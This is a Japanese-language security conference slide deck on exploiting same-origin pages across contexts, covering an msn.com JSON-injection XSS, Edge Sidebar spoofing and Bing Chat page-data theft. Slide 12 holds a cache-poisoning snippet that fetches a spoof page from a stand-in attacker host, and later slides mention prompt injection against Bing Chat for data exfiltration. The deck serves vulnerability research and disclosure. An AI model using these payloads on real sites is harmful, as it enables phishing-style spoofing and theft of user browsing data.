Slide 1

Slide 1 text

Same-Origin Cross-Context Scripting Jun Kokatsu

Slide 2

Slide 2 text

● @shhnjk ● Googleでウェブセキュリティの仕事をしてます。 ● 以前はMicrosoft Edgeのセキュリティチームにいました。

Slide 3

Slide 3 text

今日の話 ● 最近、XSSを見つけたページとは別の同一オリジンページを悪用する場面に遭遇 する。 ● windowオブジェクトの参照が出来ない場合にどのように同一オリジン内の別の ページでスクリプトを実行できるかという話。

Slide 4

Slide 4 text

MSNのXSS ocidパラメータがheadタグのdata-client-settings属性内のJSONに反映される。

Slide 5

Slide 5 text

MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar

Slide 6

Slide 6 text

MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar ↓ servicesEndpointsという値を上書きすることで 一部のページで任意の記事を表示することに成功。

Slide 7

Slide 7 text

MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar ↓ servicesEndpointsという値を上書きすることで 一部のページで任意の記事を表示することに成功。 ↓ XSS

Slide 8

Slide 8 text

Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。

Slide 9

Slide 9 text

Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 ● Sidebarにはアドレスバーがないので偽装出来たら面 白そう。

Slide 10

Slide 10 text

Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 ● Sidebarにはアドレスバーがないので偽装出来たら面 白そう。 ● Sidebar内のwindowオブジェクトにアクセスする方法 はなさそう。

Slide 11

Slide 11 text

Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 ● Sidebarにはアドレスバーがないので偽装出来たら面 白そう。 ● Sidebar内のwindowオブジェクトにアクセスする方法 はなさそう。 ● Service Workerがインストールされている。

Slide 12

Slide 12 text

Edge Sidebarの偽装 Service WorkerがあるならCacheStorageを汚染してXSSからSidebar偽装まででき る。 caches.open('homepage-base-V1').then(async (cache) => { let html = await fetch('https://attacker.com/spoof_page').then(r=>r.text()); let init = { headers: { 'Content-Type': 'text/html' } }; cache.put('/widgets/fullpage/gaming/widget?experiences=CasualGamesHub& sharedHeader=1', new Response(html, init)); });

Slide 13

Slide 13 text

https://youtu.be/HWk270-N-EA

Slide 14

Slide 14 text

Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。

Slide 15

Slide 15 text

Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。 Bing Chatはユーザーがアクセスしている ページ情報をedge://discover-chatに postMessageで取得している。

Slide 16

Slide 16 text

Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。 Bing Chatはユーザーがアクセスしている ページ情報をedge://discover-chatに postMessageで取得している。 edgeservices.bing.comにXSSがあれば 任意のページ情報を抜き取れる?

Slide 17

Slide 17 text

XSS発見! https://youtu.be/ar1-Re4OBNw

Slide 18

Slide 18 text

しかし… ● localStorageやCookieを見てみたが、Sidebar内のBing ChatにXSSが出来そう なガジェットはみつからず😭 ● Bing ChatはService WorkerやShared WorkerやBroadcast Channelも使って いなかった。

Slide 19

Slide 19 text

Webアプリでもこの様な状況は起きるのか? COOPを設定しているサイトにフレームが埋め込まれている場合、そのフレーム内で のみ与えられる情報や権限がある場合に同じ状況が起こりうる。 vulnerable.example/XSSable vulnerable.example trusted.example COOP: same-origin

Slide 20

Slide 20 text

今後SOPの概念が変わる可能性も? ● 今まではXSSが出来ればそのオリジン内がアクセス出来るのどのような情報で もSOPの恩恵により取得できていた。 ● しかしStorage PartitioningやThird-Party Cookieの廃止などで、オリジンの 持っている情報がコンテキストによって変化するようになる。 ● 上記が実際にデフォルトになった場合、サイトによってはアラートを出すだけで は十分に悪用できるバグと判断されない可能性も。

Slide 21

Slide 21 text

最後に Bing ChatのPrompt Injectionを使ってページ情報を取得する猛者が登場。 https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/

Slide 22

Slide 22 text

Bing ChatのPrompt Injection ● アラートばかり出していたら負けてしまうので、 Prompt Injectionを探してみた。 https://youtu.be/AM9OpuEPJIk

Slide 23

Slide 23 text

Questions? I can Google it for you 😊